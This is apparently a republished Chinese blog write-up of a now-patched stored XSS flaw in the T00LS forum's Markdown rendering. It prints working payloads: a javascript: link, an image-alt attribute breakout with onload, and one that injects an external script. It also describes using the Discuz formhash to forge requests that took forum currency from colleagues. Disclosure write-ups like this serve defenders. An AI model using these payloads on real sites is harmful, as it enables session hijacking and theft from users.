T00LS帖子正文XSS

Posted Web安全与前端

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了T00LS帖子正文XSS相关的知识,希望对你有一定的参考价值。

点击上方“Web安全与前端”关注我们


T00LS在前段时间开启了Markdown支持,这个漏洞也正是Markdown的问题导致的。

Markdown本身是一种标记语言,在网页上的应用也很简单,比如当我在Markdown中输入**加粗**,那么经过转换之后,这个短句将会变成<strong>加粗</strong>。其实也是一系列的html转换,由此就会出现很多XSS的问题。

下面我结合T00LS的实例简单说一说Markdown的XSS漏洞。

最基础的栗子,点击触发XSS

很多人了解markdown以后,可能想到的第一个XSS就是这个。

我们知道markdown可以插入超链接。用法如下:

[王松的博客](http://www.hackersb.cn)

渲染出来的效果如下:

那么如果我们使用伪协议呢?比如:

[XSS](javascript:alert(1))

T00LS帖子正文XSS


答案是可以弹框。然后我们尝试弹出Cookies,但是Discuz的cookies都设置了httponly,也就是说无法用javascript来获取cookies。

但是我们可以获取Discuz的formhash呀,在Discuz中,为了防止CSRF,几乎每个操作都使用了formhash,我们能获取到formhash,就可以操作当前账户几乎所有的动作了。

那么用js如何获取Dz的formhash呢?

在帖子正文页,我们可能会需要回帖,所以肯定会有formhash,如下:

T00LS帖子正文XSS


那么我们就可以用js操作来获取了。

T00LS帖子正文XSS


获取到formhash以后,我们可以选择直接发送请求来用formhash做点“有趣的事情”,比如发帖,转账?

高级一点,自动触发

在上面的操作中,我们需要被攻击者点击超链接才可以触发漏洞,那么我们能不能直接触发呢?

我们先来看看在markdown中如何使用图片吧。栗子如下:

![头像](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

渲染效果如下:

T00LS帖子正文XSS

我们先来看看转换后的html长啥样吧:

T00LS帖子正文XSS

我们在[]中输入的内容变成了html中的alt,那么如果我们在这中间用双引号是否能够逃逸出来,加个onload或者onerror属性呢?

比如:

![头像" onload=alert(1)](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

输出结果如下:


T00LS帖子正文XSS

很明显alert后面多了一个双引号,所以我们简单改一下payload,注释掉后面:

![头像" onload=alert(1);//](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

然后刷新以后:

T00LS帖子正文XSS


果然执行了…… 这个时候已经自动触发了。

输出样式如下:

T00LS帖子正文XSS

一个能自动触发的XSS,可比需要点击的XSS威力大了许多。

但是在实战中我们要执行的js代码可能会非常长,所以在onload里面写js难免会很麻烦。

so 我们需要引入外部js。

再高级一些,引入外部js

这次我们直接点,payload如下:

![头像" onload=s=createElement('script');body.appendChild(s);s.src='外部js的url';//](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

比如我们引用一个弹出formhash的js:

T00LS帖子正文XSS


成功弹出formhash:

T00LS帖子正文XSS

实例:转走别人的Tubi

我们先来选一个目标,这里我就选择我们团队的核心大佬 @phithon 了。

为了不误伤其他小伙伴,我这里就编辑我以前的帖子,发给phithon师傅去看,从而触发XSS。

基本思路如下:

  1. p神访问触发XSS

  2. 获取formhash

  3. 发送请求模拟赞赏帖子

这里选择赞赏贴子的原因是因为银行转账需要输入论坛密码,无法模拟转账,我们只是做漏洞演示,所以赞赏就够啦。

赞赏也是可以自定义tubi的,我们就来“偷”10个p神的tubi吧~

payload编写

很简单的payload就不解释了,如下:

T00LS帖子正文XSS


然后引入一下,即可“偷”tubi:

T00LS帖子正文XSS

那么我们现在把这个帖子发给phithon师傅去看。

T00LS帖子正文XSS

T00LS帖子正文XSS

T00LS帖子正文XSS

好了,我们现在再把这个url发给雨神:

T00LS帖子正文XSS

T00LS帖子正文XSS

战果:

T00LS帖子正文XSS


感谢phithon和lcy的1tubi,还有t00ls管理团队和雨神的10tubi。

实例:蠕虫

不敢写,想想整个T00LS都弥漫着蠕虫的气息,我就觉得害怕。

漏洞修复及总结

Markdown转换到html后,再进行一系列的过滤吧,html属性白名单什么的,也可以使用开源的项目,比如:http://htmlpurifier.org/

其实拿到Discuz的formhash能做的事情很多很多…… 比如置顶帖子,修改版规,等等,如果是有后台权限的管理员触发,或许还可以模拟后台的一些操作,危害是挺大的。

最后再次感谢phithon和lcy的1tubi,还有t00ls管理团队和雨神的10tubi。

抱拳了老铁。



漏洞发现后已第一时间通知官方,截至发稿前,漏洞已修复。



                                                                  


T00LS帖子正文XSS

T00LS帖子正文XSS

T00LS帖子正文XSS

T00LS帖子正文XSS

T00LS帖子正文XSS

T00LS帖子正文XSS

T00LS帖子正文XSS

T00LS帖子正文XSS

T00LS帖子正文XSS
T00LS帖子正文XSS
T00LS帖子正文XSS
T00LS帖子正文XSS
T00LS帖子正文XSS
T00LS帖子正文XSS
T00LS帖子正文XSS



安全&前端


以上是关于T00LS帖子正文XSS的主要内容,如果未能解决你的问题,请参考以下文章

XSS:如何从 C# 中的字符串中删除 JS 片段?

通过脚本片段绕过XSS防御

漏洞分享Discuz存储型xss

调用模板化成员函数:帮助我理解另一个 *** 帖子中的代码片段

Codeigniter - 在帖子的基础上禁用 XSS 过滤

NSMutableURLRequest 发送部分帖子正文